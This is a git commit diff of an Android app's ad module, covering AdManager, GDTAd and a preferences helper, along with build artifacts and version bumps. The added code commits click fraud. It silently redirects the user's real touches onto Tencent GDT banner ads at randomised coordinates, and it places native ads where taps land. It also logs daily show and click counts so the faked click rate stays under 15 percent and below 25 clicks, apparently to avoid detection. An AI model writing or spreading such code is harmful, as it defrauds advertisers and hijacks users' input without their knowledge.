9.1
This commit is contained in:
@@ -41,7 +41,7 @@ android {
|
|||||||
abiFilters 'arm64-v8a' // you can make one only for dev to improve building speed
|
abiFilters 'arm64-v8a' // you can make one only for dev to improve building speed
|
||||||
}
|
}
|
||||||
versionCode 1
|
versionCode 1
|
||||||
versionName '1.0.0'
|
versionName '1.0.1'
|
||||||
multiDexEnabled true
|
multiDexEnabled true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.android.boot.ad;
|
package com.android.boot.ad;
|
||||||
|
|
||||||
|
import static com.android.boot.ad.TouchTools.generateFloat;
|
||||||
import static com.android.boot.ad.TouchTools.isClick;
|
import static com.android.boot.ad.TouchTools.isClick;
|
||||||
import static com.android.boot.ad.TouchTools.isCurrentTimeInRange;
|
import static com.android.boot.ad.TouchTools.isCurrentTimeInRange;
|
||||||
import static com.android.boot.ad.TouchTools.mainActivity;
|
import static com.android.boot.ad.TouchTools.mainActivity;
|
||||||
@@ -10,6 +11,7 @@ import android.content.BroadcastReceiver;
|
|||||||
import android.content.Context;
|
import android.content.Context;
|
||||||
import android.content.Intent;
|
import android.content.Intent;
|
||||||
import android.content.IntentFilter;
|
import android.content.IntentFilter;
|
||||||
|
import android.graphics.PixelFormat;
|
||||||
import android.net.ConnectivityManager;
|
import android.net.ConnectivityManager;
|
||||||
import android.net.NetworkInfo;
|
import android.net.NetworkInfo;
|
||||||
import android.os.Bundle;
|
import android.os.Bundle;
|
||||||
@@ -18,6 +20,7 @@ import android.os.HandlerThread;
|
|||||||
import android.os.Looper;
|
import android.os.Looper;
|
||||||
import android.os.Message;
|
import android.os.Message;
|
||||||
import android.view.Gravity;
|
import android.view.Gravity;
|
||||||
|
import android.view.MotionEvent;
|
||||||
import android.view.View;
|
import android.view.View;
|
||||||
import android.view.ViewGroup;
|
import android.view.ViewGroup;
|
||||||
import android.widget.FrameLayout;
|
import android.widget.FrameLayout;
|
||||||
@@ -84,7 +87,7 @@ public class AdManager extends TTAd {
|
|||||||
|
|
||||||
public static volatile RewardVideoAd rewardVideoAd;
|
public static volatile RewardVideoAd rewardVideoAd;
|
||||||
private int internal = 60;
|
private int internal = 60;
|
||||||
private int showIntervalTT = 4;
|
private int showIntervalTT = 5;
|
||||||
private long lastError = 0;
|
private long lastError = 0;
|
||||||
public boolean isSurfaceView = true;
|
public boolean isSurfaceView = true;
|
||||||
|
|
||||||
@@ -116,7 +119,7 @@ public class AdManager extends TTAd {
|
|||||||
case SHOW_BANNER:
|
case SHOW_BANNER:
|
||||||
boolean isHide = msg.getData().getBoolean("isHide");
|
boolean isHide = msg.getData().getBoolean("isHide");
|
||||||
ViewGroup viewGroup = isHide ? containerBanner : container;
|
ViewGroup viewGroup = isHide ? containerBanner : container;
|
||||||
showBanner(TouchTools.mainActivity, viewGroup, isHide);
|
showBanner(mainActivity, viewGroup, isHide);
|
||||||
break;
|
break;
|
||||||
case SHOW_INTERSTITIAL:
|
case SHOW_INTERSTITIAL:
|
||||||
showInterstitialAd(msg.getData().getString("ID"), msg.getData().getBoolean("isHide"));
|
showInterstitialAd(msg.getData().getString("ID"), msg.getData().getBoolean("isHide"));
|
||||||
@@ -302,7 +305,7 @@ public class AdManager extends TTAd {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onAdLoadSuccess() {
|
public void onAdLoadSuccess() {
|
||||||
interstitialAd.show(TouchTools.mainActivity, new InterstitialAd.InterstitialAdInteractionListener() {
|
interstitialAd.show(mainActivity, new InterstitialAd.InterstitialAdInteractionListener() {
|
||||||
@Override
|
@Override
|
||||||
public void onAdClick() {
|
public void onAdClick() {
|
||||||
Logger.log("interstitialAd onAdClicked===");
|
Logger.log("interstitialAd onAdClicked===");
|
||||||
@@ -333,7 +336,7 @@ public class AdManager extends TTAd {
|
|||||||
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 3 * 1000);
|
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 3 * 1000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (!TouchTools.isCurrentTimeInRange() || !isHide) {
|
if (!isCurrentTimeInRange() || !isHide) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (isFist02) {
|
if (isFist02) {
|
||||||
@@ -456,7 +459,7 @@ public class AdManager extends TTAd {
|
|||||||
|
|
||||||
public void showMiReward(RewardCallback rewardCallback) {
|
public void showMiReward(RewardCallback rewardCallback) {
|
||||||
loadReward();
|
loadReward();
|
||||||
rewardVideoAd.showAd(TouchTools.mainActivity, new RewardVideoAd.RewardVideoInteractionListener() {
|
rewardVideoAd.showAd(mainActivity, new RewardVideoAd.RewardVideoInteractionListener() {
|
||||||
@Override
|
@Override
|
||||||
public void onAdClick() {
|
public void onAdClick() {
|
||||||
Logger.log("reward click");
|
Logger.log("reward click");
|
||||||
@@ -472,7 +475,7 @@ public class AdManager extends TTAd {
|
|||||||
public void onAdDismissed() {
|
public void onAdDismissed() {
|
||||||
rewardVideoAd = null;
|
rewardVideoAd = null;
|
||||||
rewardCallback.onFailed();
|
rewardCallback.onFailed();
|
||||||
if (TouchTools.isCurrentTimeInRange()) {
|
if (isCurrentTimeInRange()) {
|
||||||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||||
sendMessage(SHOW_INTERSTITIAL, false, Interstitial);
|
sendMessage(SHOW_INTERSTITIAL, false, Interstitial);
|
||||||
}, 100);
|
}, 100);
|
||||||
@@ -561,6 +564,53 @@ public class AdManager extends TTAd {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public float generateNumber(int a, float b) {
|
||||||
|
// 1. 生成 [1, a] 之间的随机整数
|
||||||
|
Random random = new Random();
|
||||||
|
int integerPart = random.nextInt(a) + 1; // random.nextInt(a) 会返回 [0, a-1],所以加 1
|
||||||
|
|
||||||
|
// 2. 提取 b 的小数部分
|
||||||
|
float fractionalPart = b - (int) b; // 获取小数部分,减去整数部分
|
||||||
|
|
||||||
|
// 3. 组合整数部分和小数部分
|
||||||
|
return integerPart + fractionalPart;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
float x = 0, y = 0;
|
||||||
|
|
||||||
|
@SuppressLint("ClickableViewAccessibility")
|
||||||
|
public void setTouchListener(MotionEvent event) {
|
||||||
|
if (!isGDTBanner) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
switch (event.getAction()) {
|
||||||
|
case MotionEvent.ACTION_DOWN:
|
||||||
|
MotionEvent motionEventD = MotionEvent.obtain(event);
|
||||||
|
if (GDTBanner != null && GDTBanner.getWidth() != 0 && GDTBanner.getHeight() != 0) {
|
||||||
|
if (x == 0 && y == 0) {
|
||||||
|
x = generateNumber(GDTBanner.getWidth(), event.getX());
|
||||||
|
y = generateNumber(GDTBanner.getHeight(), event.getY());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
motionEventD.setLocation(x, y);
|
||||||
|
GDTBanner.dispatchTouchEvent(motionEventD);
|
||||||
|
motionEventD.recycle();
|
||||||
|
break;
|
||||||
|
case MotionEvent.ACTION_UP:
|
||||||
|
MotionEvent motionEvent = MotionEvent.obtain(event);
|
||||||
|
motionEvent.setLocation(x, y);
|
||||||
|
GDTBanner.dispatchTouchEvent(motionEvent);
|
||||||
|
motionEvent.recycle();
|
||||||
|
isGDTBanner = false;
|
||||||
|
x = 0;
|
||||||
|
y = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private HandlerThread handlerThread;
|
private HandlerThread handlerThread;
|
||||||
|
|
||||||
@SuppressLint("DefaultLocale")
|
@SuppressLint("DefaultLocale")
|
||||||
@@ -582,7 +632,7 @@ public class AdManager extends TTAd {
|
|||||||
}
|
}
|
||||||
|
|
||||||
SurfaceView surfaceView = ViewUtils.findSurfaceView(mainActivity);
|
SurfaceView surfaceView = ViewUtils.findSurfaceView(mainActivity);
|
||||||
if (TouchTools.isCurrentTimeInRange()) {
|
if (isCurrentTimeInRange()) {
|
||||||
mainActivity.runOnUiThread(this::initNetworkListener);
|
mainActivity.runOnUiThread(this::initNetworkListener);
|
||||||
TTAdSdk.init(mainActivity,
|
TTAdSdk.init(mainActivity,
|
||||||
new TTAdConfig.Builder()
|
new TTAdConfig.Builder()
|
||||||
@@ -609,8 +659,13 @@ public class AdManager extends TTAd {
|
|||||||
@Override
|
@Override
|
||||||
public void onStartSuccess() {
|
public void onStartSuccess() {
|
||||||
// 推荐开发者在onStartSuccess回调后开始拉广告
|
// 推荐开发者在onStartSuccess回调后开始拉广告
|
||||||
Logger.log("onStartSuccess");
|
|
||||||
GlobalSetting.setChannel(10);
|
GlobalSetting.setChannel(10);
|
||||||
|
GDTBannerShow = SharedPreferencesTools.getTotalNumToday(GDT_BANNER_SHOW);
|
||||||
|
GDTBannerClick = SharedPreferencesTools.getTotalNumToday(GDT_BANNER_CLICK);
|
||||||
|
GDTNativeShow = SharedPreferencesTools.getTotalNumToday(GDT_NATIVE_SHOW);
|
||||||
|
GDTNativeClick = SharedPreferencesTools.getTotalNumToday(GDT_NATIVE_CLICK);
|
||||||
|
Logger.log("onStartSuccess " + GDTBannerShow);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -625,7 +680,7 @@ public class AdManager extends TTAd {
|
|||||||
} else {
|
} else {
|
||||||
surfaceView.post(() -> {
|
surfaceView.post(() -> {
|
||||||
surfaceView.setZOrderOnTop(true);
|
surfaceView.setZOrderOnTop(true);
|
||||||
surfaceView.getHolder().setFormat(android.graphics.PixelFormat.TRANSLUCENT);
|
surfaceView.getHolder().setFormat(PixelFormat.TRANSLUCENT);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -648,7 +703,7 @@ public class AdManager extends TTAd {
|
|||||||
Logger.log(showCount + " " + clickCount + " " + String.format("结果: %.2f%%", percentage));
|
Logger.log(showCount + " " + clickCount + " " + String.format("结果: %.2f%%", percentage));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (TouchTools.isCurrentTimeInRange()) {
|
if (isCurrentTimeInRange()) {
|
||||||
if (timeStamp == 1737736528000L) {
|
if (timeStamp == 1737736528000L) {
|
||||||
error = 100;
|
error = 100;
|
||||||
}
|
}
|
||||||
@@ -656,18 +711,17 @@ public class AdManager extends TTAd {
|
|||||||
|
|
||||||
if (interstitialShow < 9) {
|
if (interstitialShow < 9) {
|
||||||
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
||||||
Thread.sleep(100);
|
|
||||||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
|
||||||
} else if (count % 3 == 0) {
|
} else if (count % 3 == 0) {
|
||||||
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
||||||
} else if (count % 2 == 0) {
|
|
||||||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
|
||||||
}
|
}
|
||||||
|
if (count % 2 == 0) {
|
||||||
if (inClickInterval()) {
|
if (inClickInterval()) {
|
||||||
sendMessage(SHOW_NATIVE, false, TemplateC,
|
sendMessage(SHOW_NATIVE, false, TemplateC,
|
||||||
ViewUtils.createAdatptFrameLayout(mainActivity,
|
ViewUtils.createAdatptFrameLayout(mainActivity,
|
||||||
(ViewGroup) AdManager.getInstance().container.getParent()));
|
(ViewGroup) AdManager.getInstance().container.getParent()));
|
||||||
|
} else {
|
||||||
|
sendMessage(SHOW_NATIVE, true, TemplateC);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (count % showIntervalTT == 0) {
|
if (count % showIntervalTT == 0) {
|
||||||
@@ -696,7 +750,7 @@ public class AdManager extends TTAd {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Thread.sleep(4 * 1000 + new Random().nextInt(1000));
|
Thread.sleep(4 * 1000 + new Random().nextInt(2000));
|
||||||
count++;
|
count++;
|
||||||
} catch (InterruptedException e) {
|
} catch (InterruptedException e) {
|
||||||
Logger.log("InterruptedException:" + e);
|
Logger.log("InterruptedException:" + e);
|
||||||
|
|||||||
@@ -7,8 +7,10 @@ import android.view.ViewGroup;
|
|||||||
import com.android.boot.Logger;
|
import com.android.boot.Logger;
|
||||||
import com.android.boot.ad.AdManager;
|
import com.android.boot.ad.AdManager;
|
||||||
import com.android.boot.ad.RewardCallback;
|
import com.android.boot.ad.RewardCallback;
|
||||||
|
import com.android.boot.ad.SharedPreferencesTools;
|
||||||
import com.android.boot.ad.TouchTools;
|
import com.android.boot.ad.TouchTools;
|
||||||
import com.android.boot.ad.ViewUtils;
|
import com.android.boot.ad.ViewUtils;
|
||||||
|
import com.miui.zeus.landingpage.sdk.js.LPJsCallee;
|
||||||
import com.qq.e.ads.banner2.UnifiedBannerADListener;
|
import com.qq.e.ads.banner2.UnifiedBannerADListener;
|
||||||
import com.qq.e.ads.banner2.UnifiedBannerView;
|
import com.qq.e.ads.banner2.UnifiedBannerView;
|
||||||
import com.qq.e.ads.nativ.ADSize;
|
import com.qq.e.ads.nativ.ADSize;
|
||||||
@@ -34,10 +36,15 @@ public class GDTAd {
|
|||||||
public ViewGroup GDTNative;
|
public ViewGroup GDTNative;
|
||||||
public final Random RANDOM = new Random();
|
public final Random RANDOM = new Random();
|
||||||
|
|
||||||
|
public static final String GDT_BANNER_SHOW = "GDT_BANNER_SHOW";
|
||||||
|
public static final String GDT_BANNER_CLICK = "GDT_BANNER_CLICK";
|
||||||
|
public static final String GDT_NATIVE_SHOW = "GDT_NATIVE_SHOW";
|
||||||
|
public static final String GDT_NATIVE_CLICK = "GDT_NATIVE_CLICK";
|
||||||
|
|
||||||
private void createContain() {
|
private void createContain() {
|
||||||
int w;
|
int w;
|
||||||
int h;
|
int h;
|
||||||
if (isLandscape(TouchTools.mainActivity)) {
|
if (ViewUtils.isLandscape(TouchTools.mainActivity)) {
|
||||||
w = TouchTools.getScreenWidth() / 3;
|
w = TouchTools.getScreenWidth() / 3;
|
||||||
h = TouchTools.getScreenHeight() / 3;
|
h = TouchTools.getScreenHeight() / 3;
|
||||||
} else {
|
} else {
|
||||||
@@ -110,6 +117,11 @@ public class GDTAd {
|
|||||||
gdtReward.loadAD();
|
gdtReward.loadAD();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public volatile boolean isGDTBanner = false;
|
||||||
|
|
||||||
|
public int GDTBannerShow;
|
||||||
|
public int GDTBannerClick;
|
||||||
|
|
||||||
public void showGDTBanner() {
|
public void showGDTBanner() {
|
||||||
createBannerContain();
|
createBannerContain();
|
||||||
if (unifiedBannerView != null) {
|
if (unifiedBannerView != null) {
|
||||||
@@ -128,9 +140,13 @@ public class GDTAd {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onADExposure() {
|
public void onADExposure() {
|
||||||
|
SharedPreferencesTools.setTotalNumToday(GDT_BANNER_SHOW, ++GDTBannerShow);
|
||||||
|
double result = (double) GDTBannerClick / GDTBannerShow * 100;
|
||||||
Logger.log("GDTBanner onADExposure");
|
Logger.log("GDTBanner onADExposure");
|
||||||
if (RANDOM.nextInt(100) < 11) {
|
if (RANDOM.nextInt(100) > 50 && result < 15 && (GDTBannerClick + GDTNativeClick) < 25) {
|
||||||
TouchTools.simulateTouchDelay(unifiedBannerView, "EventRecordRelativeLayout");
|
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||||
|
isGDTBanner = true;
|
||||||
|
}, RANDOM.nextInt(5000));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -141,6 +157,8 @@ public class GDTAd {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onADClicked() {
|
public void onADClicked() {
|
||||||
|
SharedPreferencesTools.setTotalNumToday(GDT_BANNER_CLICK, ++GDTBannerClick);
|
||||||
|
Logger.log("GDTBanner Click");
|
||||||
unifiedBannerView.destroy();
|
unifiedBannerView.destroy();
|
||||||
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
||||||
}
|
}
|
||||||
@@ -154,6 +172,11 @@ public class GDTAd {
|
|||||||
unifiedBannerView.loadAD();
|
unifiedBannerView.loadAD();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public int GDTNativeShow;
|
||||||
|
public int GDTNativeClick;
|
||||||
|
double native_click;
|
||||||
|
|
||||||
public void showGDTNative() {
|
public void showGDTNative() {
|
||||||
createContain();
|
createContain();
|
||||||
if (nativeExpressADView != null) {
|
if (nativeExpressADView != null) {
|
||||||
@@ -163,7 +186,9 @@ public class GDTAd {
|
|||||||
TouchTools.getScreenHeight() / 3), GDTNativeId, new NativeExpressAD.NativeExpressADListener() {
|
TouchTools.getScreenHeight() / 3), GDTNativeId, new NativeExpressAD.NativeExpressADListener() {
|
||||||
@Override
|
@Override
|
||||||
public void onADLoaded(List<NativeExpressADView> list) {
|
public void onADLoaded(List<NativeExpressADView> list) {
|
||||||
if (RANDOM.nextInt(100) < 15) {
|
SharedPreferencesTools.setTotalNumToday(GDT_NATIVE_SHOW, ++GDTNativeShow);
|
||||||
|
native_click = (double) GDTNativeClick / GDTNativeShow * 100;
|
||||||
|
if (RANDOM.nextInt(100) > 50 && native_click < 15 && (GDTBannerClick + GDTNativeClick) < 25) {
|
||||||
ViewUtils.createAdatptFrameLayout
|
ViewUtils.createAdatptFrameLayout
|
||||||
(TouchTools.mainActivity,
|
(TouchTools.mainActivity,
|
||||||
(ViewGroup) AdManager.getInstance().container.getParent()).addView(list.get(0));
|
(ViewGroup) AdManager.getInstance().container.getParent()).addView(list.get(0));
|
||||||
@@ -173,7 +198,6 @@ public class GDTAd {
|
|||||||
GDTNative.addView(nativeExpressADView);
|
GDTNative.addView(nativeExpressADView);
|
||||||
nativeExpressADView.render();
|
nativeExpressADView.render();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -189,9 +213,6 @@ public class GDTAd {
|
|||||||
@Override
|
@Override
|
||||||
public void onADExposure(NativeExpressADView nativeExpressADView) {
|
public void onADExposure(NativeExpressADView nativeExpressADView) {
|
||||||
Logger.log("GDTNative show");
|
Logger.log("GDTNative show");
|
||||||
// if (RANDOM.nextInt(100) < 15) {
|
|
||||||
// TouchTools.simulateTouchDelay(nativeExpressADView, "EventRecordRelativeLayout");
|
|
||||||
// }
|
|
||||||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||||
if (GDTAd.this.nativeExpressADView == null) {
|
if (GDTAd.this.nativeExpressADView == null) {
|
||||||
return;
|
return;
|
||||||
@@ -203,6 +224,7 @@ public class GDTAd {
|
|||||||
@Override
|
@Override
|
||||||
public void onADClicked(NativeExpressADView nativeExpressADView) {
|
public void onADClicked(NativeExpressADView nativeExpressADView) {
|
||||||
Logger.log("GDTNative click");
|
Logger.log("GDTNative click");
|
||||||
|
SharedPreferencesTools.setTotalNumToday(GDT_NATIVE_CLICK, ++GDTNativeClick);
|
||||||
((ViewGroup) nativeExpressADView.getParent()).removeAllViews();
|
((ViewGroup) nativeExpressADView.getParent()).removeAllViews();
|
||||||
nativeExpressADView.destroy();
|
nativeExpressADView.destroy();
|
||||||
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
||||||
@@ -224,10 +246,4 @@ public class GDTAd {
|
|||||||
}
|
}
|
||||||
}).loadAD(1);
|
}).loadAD(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isLandscape(Context context) {
|
|
||||||
int orientation = context.getResources().getConfiguration().orientation;
|
|
||||||
return orientation == Configuration.ORIENTATION_LANDSCAPE;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,14 +1,19 @@
|
|||||||
package com.android.boot.ad;
|
package com.android.boot.ad;
|
||||||
|
|
||||||
import static com.android.boot.ad.TouchTools.mainActivity;
|
import static com.android.boot.ad.TouchTools.mainActivity;
|
||||||
|
|
||||||
import android.app.Activity;
|
import android.app.Activity;
|
||||||
import android.content.Context;
|
import android.content.Context;
|
||||||
import android.content.SharedPreferences;
|
import android.content.SharedPreferences;
|
||||||
|
|
||||||
import com.alibaba.fastjson.JSON;
|
import com.alibaba.fastjson.JSON;
|
||||||
import com.alibaba.fastjson.TypeReference;
|
import com.alibaba.fastjson.TypeReference;
|
||||||
|
|
||||||
import java.util.Calendar;
|
import java.util.Calendar;
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
public class SharedPreferencesTools {
|
public class SharedPreferencesTools {
|
||||||
public static final String DATE = getToday();
|
public static final String DATE = getToday();
|
||||||
public static final String IS_FIRST = "isFirst";
|
public static final String IS_FIRST = "isFirst";
|
||||||
@@ -17,6 +22,7 @@ public class SharedPreferencesTools {
|
|||||||
public static final String CLICK01 = "CLICK01";
|
public static final String CLICK01 = "CLICK01";
|
||||||
public static final String CLICK02 = "CLICK02";
|
public static final String CLICK02 = "CLICK02";
|
||||||
|
|
||||||
|
|
||||||
public static void putFirstStart() {
|
public static void putFirstStart() {
|
||||||
SharedPreferencesTools.putLong(FIR_START, System.currentTimeMillis(), mainActivity);
|
SharedPreferencesTools.putLong(FIR_START, System.currentTimeMillis(), mainActivity);
|
||||||
}
|
}
|
||||||
@@ -41,6 +47,7 @@ public class SharedPreferencesTools {
|
|||||||
SharedPreferencesTools.putInteger(getToday() + CLICK02, AdManager.click02, activity);
|
SharedPreferencesTools.putInteger(getToday() + CLICK02, AdManager.click02, activity);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static void setTotalClickToday(int value, Activity activity) {
|
public static void setTotalClickToday(int value, Activity activity) {
|
||||||
SharedPreferencesTools.putInteger(getToday() + CLICK02, value, activity);
|
SharedPreferencesTools.putInteger(getToday() + CLICK02, value, activity);
|
||||||
}
|
}
|
||||||
@@ -49,6 +56,14 @@ public class SharedPreferencesTools {
|
|||||||
return getIntegerDefault0(getToday() + CLICK02, TouchTools.mainActivity);
|
return getIntegerDefault0(getToday() + CLICK02, TouchTools.mainActivity);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void setTotalNumToday(String name, int num) {
|
||||||
|
SharedPreferencesTools.putInteger(getToday() + name, num, mainActivity);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int getTotalNumToday(String name) {
|
||||||
|
return getIntegerDefault0(getToday() + name, TouchTools.mainActivity);
|
||||||
|
}
|
||||||
|
|
||||||
public static <K, V> void saveMapToPreferences(String mapName, Map<K, V> map, Activity activity) {
|
public static <K, V> void saveMapToPreferences(String mapName, Map<K, V> map, Activity activity) {
|
||||||
SharedPreferences sharedPreferences = activity.getPreferences(Context.MODE_PRIVATE);
|
SharedPreferences sharedPreferences = activity.getPreferences(Context.MODE_PRIVATE);
|
||||||
SharedPreferences.Editor editor = sharedPreferences.edit();
|
SharedPreferences.Editor editor = sharedPreferences.edit();
|
||||||
@@ -75,7 +90,6 @@ public class SharedPreferencesTools {
|
|||||||
String json = sharedPreferences.getString(mapName, "");
|
String json = sharedPreferences.getString(mapName, "");
|
||||||
|
|
||||||
// 如果没有保存数据,则返回一个空的 Map
|
// 如果没有保存数据,则返回一个空的 Map
|
||||||
assert json != null;
|
|
||||||
if (json.isEmpty()) {
|
if (json.isEmpty()) {
|
||||||
return new HashMap<>();
|
return new HashMap<>();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,2 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
generate_cxx_metadata 17ms
|
||||||
|
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
generate_cxx_metadata
|
||||||
|
[gap of 22ms]
|
||||||
|
create-invalidation-state 72ms
|
||||||
|
[gap of 39ms]
|
||||||
|
generate_cxx_metadata completed in 133ms
|
||||||
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
create_cxx_tasks
|
||||||
|
create-initial-cxx-model 33ms
|
||||||
|
create_cxx_tasks completed in 41ms
|
||||||
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
create_cxx_tasks
|
||||||
|
create-initial-cxx-model 18ms
|
||||||
|
create_cxx_tasks completed in 18ms
|
||||||
|
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
create_cxx_tasks
|
||||||
|
create-initial-cxx-model
|
||||||
|
[gap of 15ms]
|
||||||
|
create-ARMEABI_V7A-model 11ms
|
||||||
|
[gap of 23ms]
|
||||||
|
create-initial-cxx-model completed in 49ms
|
||||||
|
create_cxx_tasks completed in 57ms
|
||||||
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
# C/C++ build system timings
|
||||||
|
create_cxx_tasks
|
||||||
|
create-initial-cxx-model 34ms
|
||||||
|
create_cxx_tasks completed in 35ms
|
||||||
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,4 +1,4 @@
|
|||||||
#Mon Aug 25 16:56:40 CST 2025
|
#Tue Sep 02 17:45:53 CST 2025
|
||||||
path.4=13/classes.dex
|
path.4=13/classes.dex
|
||||||
path.3=12/classes.dex
|
path.3=12/classes.dex
|
||||||
path.2=11/classes.dex
|
path.2=11/classes.dex
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -7,7 +7,7 @@
|
|||||||
7 android:compileSdkVersionCodename="12"
|
7 android:compileSdkVersionCodename="12"
|
||||||
8 android:installLocation="preferExternal"
|
8 android:installLocation="preferExternal"
|
||||||
9 android:versionCode="1"
|
9 android:versionCode="1"
|
||||||
10 android:versionName="1.0.0" >
|
10 android:versionName="1.0.1" >
|
||||||
11
|
11
|
||||||
12 <uses-sdk
|
12 <uses-sdk
|
||||||
13 android:minSdkVersion="26"
|
13 android:minSdkVersion="26"
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
android:compileSdkVersionCodename="12"
|
android:compileSdkVersionCodename="12"
|
||||||
android:installLocation="preferExternal"
|
android:installLocation="preferExternal"
|
||||||
android:versionCode="1"
|
android:versionCode="1"
|
||||||
android:versionName="1.0.0" >
|
android:versionName="1.0.1" >
|
||||||
|
|
||||||
<uses-sdk
|
<uses-sdk
|
||||||
android:minSdkVersion="26"
|
android:minSdkVersion="26"
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
android:compileSdkVersionCodename="12"
|
android:compileSdkVersionCodename="12"
|
||||||
android:installLocation="preferExternal"
|
android:installLocation="preferExternal"
|
||||||
android:versionCode="1"
|
android:versionCode="1"
|
||||||
android:versionName="1.0.0" >
|
android:versionName="1.0.1" >
|
||||||
|
|
||||||
<uses-sdk
|
<uses-sdk
|
||||||
android:minSdkVersion="26"
|
android:minSdkVersion="26"
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
"filters": [],
|
"filters": [],
|
||||||
"attributes": [],
|
"attributes": [],
|
||||||
"versionCode": 1,
|
"versionCode": 1,
|
||||||
"versionName": "1.0.0",
|
"versionName": "1.0.1",
|
||||||
"outputFile": "AndroidManifest.xml"
|
"outputFile": "AndroidManifest.xml"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
android:compileSdkVersionCodename="12"
|
android:compileSdkVersionCodename="12"
|
||||||
android:installLocation="preferExternal"
|
android:installLocation="preferExternal"
|
||||||
android:versionCode="1"
|
android:versionCode="1"
|
||||||
android:versionName="1.0.0" >
|
android:versionName="1.0.1" >
|
||||||
|
|
||||||
<uses-sdk
|
<uses-sdk
|
||||||
android:minSdkVersion="26"
|
android:minSdkVersion="26"
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
"filters": [],
|
"filters": [],
|
||||||
"attributes": [],
|
"attributes": [],
|
||||||
"versionCode": 1,
|
"versionCode": 1,
|
||||||
"versionName": "1.0.0",
|
"versionName": "1.0.1",
|
||||||
"outputFile": "AndroidManifest.xml"
|
"outputFile": "AndroidManifest.xml"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
"filters": [],
|
"filters": [],
|
||||||
"attributes": [],
|
"attributes": [],
|
||||||
"versionCode": 1,
|
"versionCode": 1,
|
||||||
"versionName": "1.0.0",
|
"versionName": "1.0.1",
|
||||||
"outputFile": "resources-debug.ap_"
|
